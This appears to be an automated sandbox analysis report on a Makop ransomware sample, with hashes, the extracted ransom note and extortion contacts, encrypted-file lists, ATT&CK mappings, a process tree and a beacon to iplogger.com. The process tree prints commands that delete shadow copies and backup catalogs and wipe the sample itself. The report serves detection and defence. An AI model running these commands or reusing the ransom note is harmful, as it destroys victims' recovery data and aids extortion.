a043cf14c1e9bb9e6fcbf8a3302acf7e7c46dfeaa40ed7a1c6d31d17ab40a261

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/02/2024, 14:45 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
Size

42KB
MD5

52b1171ccd66ff02c2947927300d9c33
SHA1

eeb6ef1830ed9b6c8838bcf398c878525a421e23
SHA256

a043cf14c1e9bb9e6fcbf8a3302acf7e7c46dfeaa40ed7a1c6d31d17ab40a261
SHA512

26e27833e0197073867fadc4d4493ffaf69b4e4bb3e68c0b6e55bc88a1222fa0f0a520c303ef15961e46ffb297aa1305d8f5221dfc9a275c5eb258c35049b88a
SSDEEP

768:EO1oR/6VS1RzK4wbs+D/SIJX+ZZ1SQQwZuIOPzDqW52BqwLnTZpk1M:E2S1FKnDtkuImngBqwLTZy1M

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\+README-WARNING+.txt

Ransom Note

::: Greetings ::: Little FAQ: .1. Q: Whats Happen? A: Your files have been encrypted. The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? A: If you wish to decrypt your files you will need to pay us. .3. Q: What about guarantees? A: Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. .4. Q: How to contact with you? A: You can write us to our mailbox: cyberrestore2024@onionmail.org Or you can contact us via TOX: 2045F43C36CF86051CC7129C1FF74E84BCDC7A527C059676E546F58A1D8DF94B3C47F17F2E54 You can download TOX client here: https://qtox.github.io/ .5. Q: How will the decryption process proceed after payment? A: After payment we will send to you our scanner-decoder program and detailed instructions for use. With this program you will be able to decrypt all your encrypted files. .6. Q: If I don�t want to pay bad people like you? A: If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause only we have the private key. In practice - time is much more valuable than money. :::BEWARE::: DON'T try to change encrypted files by yourself! If you will try to use any third party software for restoring your data or antivirus solutions - please make a backup for all encrypted files! Any changes in encrypted files may entail damage of the private key and, as result, the loss all data.

Emails

cyberrestore2024@onionmail.org

URLs

https://qtox.github.io/

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (8322) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2772	wbadmin.exe

Deletes itself 1 IoCs

pid	Process
2492	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2EFE.tmp.bmp"	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\el-GR\tipresx.dll.mui	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipsnor.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\+README-WARNING+.txt	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Windows Media Player\Media Renderer\DMR_120.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif.[1D7BA18E].[cyberrestore2024@onionmail.org].rocklee	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf.[1D7BA18E].[cyberrestore2024@onionmail.org].rocklee	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\fr-FR\gadget.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Tirane	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.zh_CN_5.5.0.165303.jar	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\diagnostic-command-16.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-multitabs.jar	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\THIRDPARTYLICENSEREADME-JAVAFX.txt	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File created	C:\Program Files\Microsoft Games\Purble Place\de-DE\+README-WARNING+.txt	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00078_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\ED00019_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00479_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BS00092_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199473.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\OneNote.en-us\OneNoteMUI.XML	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN04191_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Civic.thmx	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14984_.GIF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\ja-JP\css\settings.css	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hebron	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-execution.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\+README-WARNING+.txt	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Windows Journal\Templates\Shorthand.jtp	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_thunderstorm.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGACCBAR.XML	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\DVD Maker\es-ES\OmdProject.dll.mui	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-javahelp.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0152890.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\GREET11.POC	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\shuffle_down.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Sort\TAG.XSL	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-execution.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\en-US\gadget.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SIGNHM.POC	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00157_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0295241.GIF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD.HXS	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\photograph.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSPUB.DEV_F_COL.HXK	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\highlight.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\San_Luis	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Casey	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Mozilla Firefox\application.ini	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\en-US\css\calendar.css	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Access.en-us\AccessMUI.XML	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSTH7EN.LEX	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waning-crescent.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pago_Pago	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00017_.WMF	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Aspect.xml	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGBARBLL.DPV	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\images\bPrev-down.png	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2360	vssadmin.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1520	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeBackupPrivilege	2764	vssvc.exe
Token: SeRestorePrivilege	2764	vssvc.exe
Token: SeAuditPrivilege	2764	vssvc.exe
Token: SeBackupPrivilege	2680	wbengine.exe
Token: SeRestorePrivilege	2680	wbengine.exe
Token: SeSecurityPrivilege	2680	wbengine.exe
Token: SeIncreaseQuotaPrivilege	2932	WMIC.exe
Token: SeSecurityPrivilege	2932	WMIC.exe
Token: SeTakeOwnershipPrivilege	2932	WMIC.exe
Token: SeLoadDriverPrivilege	2932	WMIC.exe
Token: SeSystemProfilePrivilege	2932	WMIC.exe
Token: SeSystemtimePrivilege	2932	WMIC.exe
Token: SeProfSingleProcessPrivilege	2932	WMIC.exe
Token: SeIncBasePriorityPrivilege	2932	WMIC.exe
Token: SeCreatePagefilePrivilege	2932	WMIC.exe
Token: SeBackupPrivilege	2932	WMIC.exe
Token: SeRestorePrivilege	2932	WMIC.exe
Token: SeShutdownPrivilege	2932	WMIC.exe
Token: SeDebugPrivilege	2932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2932	WMIC.exe
Token: SeRemoteShutdownPrivilege	2932	WMIC.exe
Token: SeUndockPrivilege	2932	WMIC.exe
Token: SeManageVolumePrivilege	2932	WMIC.exe
Token: 33	2932	WMIC.exe
Token: 34	2932	WMIC.exe
Token: 35	2932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2932	WMIC.exe
Token: SeSecurityPrivilege	2932	WMIC.exe
Token: SeTakeOwnershipPrivilege	2932	WMIC.exe
Token: SeLoadDriverPrivilege	2932	WMIC.exe
Token: SeSystemProfilePrivilege	2932	WMIC.exe
Token: SeSystemtimePrivilege	2932	WMIC.exe
Token: SeProfSingleProcessPrivilege	2932	WMIC.exe
Token: SeIncBasePriorityPrivilege	2932	WMIC.exe
Token: SeCreatePagefilePrivilege	2932	WMIC.exe
Token: SeBackupPrivilege	2932	WMIC.exe
Token: SeRestorePrivilege	2932	WMIC.exe
Token: SeShutdownPrivilege	2932	WMIC.exe
Token: SeDebugPrivilege	2932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2932	WMIC.exe
Token: SeRemoteShutdownPrivilege	2932	WMIC.exe
Token: SeUndockPrivilege	2932	WMIC.exe
Token: SeManageVolumePrivilege	2932	WMIC.exe
Token: 33	2932	WMIC.exe
Token: 34	2932	WMIC.exe
Token: 35	2932	WMIC.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 2256	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	29
PID 1948 wrote to memory of 2256	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	29
PID 1948 wrote to memory of 2256	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	29
PID 1948 wrote to memory of 2256	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	29
PID 2256 wrote to memory of 2360	2256	cmd.exe	31
PID 2256 wrote to memory of 2360	2256	cmd.exe	31
PID 2256 wrote to memory of 2360	2256	cmd.exe	31
PID 2256 wrote to memory of 2772	2256	cmd.exe	34
PID 2256 wrote to memory of 2772	2256	cmd.exe	34
PID 2256 wrote to memory of 2772	2256	cmd.exe	34
PID 2256 wrote to memory of 2932	2256	cmd.exe	38
PID 2256 wrote to memory of 2932	2256	cmd.exe	38
PID 2256 wrote to memory of 2932	2256	cmd.exe	38
PID 1948 wrote to memory of 2492	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	45
PID 1948 wrote to memory of 2492	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	45
PID 1948 wrote to memory of 2492	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	45
PID 1948 wrote to memory of 2492	1948	2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe	45
PID 2492 wrote to memory of 1520	2492	cmd.exe	47
PID 2492 wrote to memory of 1520	2492	cmd.exe	47
PID 2492 wrote to memory of 1520	2492	cmd.exe	47
PID 2492 wrote to memory of 1520	2492	cmd.exe	47
PID 2492 wrote to memory of 2212	2492	cmd.exe	48
PID 2492 wrote to memory of 2212	2492	cmd.exe	48
PID 2492 wrote to memory of 2212	2492	cmd.exe	48
PID 2492 wrote to memory of 2212	2492	cmd.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
"C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe"
1⤵
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe
  "C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe" n1948
  2⤵
  PID:2180
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2256
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2360
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2772
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2932
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ping 1.1.1.1 -n 5 & fsutil file setZeroData offset=0 length=131072 "C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe" & del /q /f "C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1520
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=131072 "C:\Users\Admin\AppData\Local\Temp\2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe"
    3⤵
    PID:2212

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2680

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2376

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1664

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1704

Network

DNS

iplogger.com

2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

Remote address:

8.8.8.8:53

Request

iplogger.com

IN A

Response

iplogger.com

IN A

104.21.76.57

iplogger.com

IN A

172.67.188.178
GET

https://iplogger.com/1VpeH4

2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

Remote address:

104.21.76.57:443

Request

GET /1VpeH4 HTTP/1.1
Referer: 1D7BA18E;2.25
Host: iplogger.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Sun, 18 Feb 2024 14:46:21 GMT
Content-Type: image/png
Transfer-Encoding: chunked
Connection: keep-alive
set-cookie: 416940421502943035=3; expires=Tue, 18 Feb 2025 14:46:21 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
set-cookie: clhf03028ja=89.149.23.59; expires=Tue, 18 Feb 2025 14:46:21 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict
memory: 0.42227935791015625
expires: Sun, 18 Feb 2024 14:46:21 +0000
Cache-Control: no-store, no-cache, must-revalidate
strict-transport-security: max-age=604800
strict-transport-security: max-age=31536000
content-security-policy: img-src https: data:; upgrade-insecure-requests
x-frame-options: SAMEORIGIN
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vluBRWy4CIZ5PUb%2FKq2CnQMakQdAji0H7AW6u2euGnBSiq%2B7h0dK%2BCGbOcI15eRAASBnHFa0wKYTnJ4%2FURzBG6W5JREb6IAQERUhPojkdnTsTNEctE5c6lZ1SPPWvY8%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 85770f21ef247753-LHR
alt-svc: h3=":443"; ma=86400

104.21.76.57:443

https://iplogger.com/1VpeH4

tls, http

2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

1.0kB
7.3kB
12
12

HTTP Request

GET https://iplogger.com/1VpeH4

HTTP Response

200

8.8.8.8:53

iplogger.com

dns

2024-02-18_52b1171ccd66ff02c2947927300d9c33_makop.exe

58 B
90 B
1
1

DNS Request

iplogger.com

DNS Response

104.21.76.57

172.67.188.178

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\+README-WARNING+.txt

Filesize
1KB

MD5
4cd9a7d10732ce6c99aedabfba1d8d64

SHA1
6575eb09c5acd181935311dfc6621a2b2d2ac0c9

SHA256
bbdbd67b963a725d054682be52c8c7d83610b73ba1ce7b9c230847f228a2188d

SHA512
e2deede94446730170f749977991c6e97eb65c7c80052e029a864e202cffd29eab913377ad924f6d712c5568e29e42cd94afde03c374d8ef23ed3ac80fe676a1

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.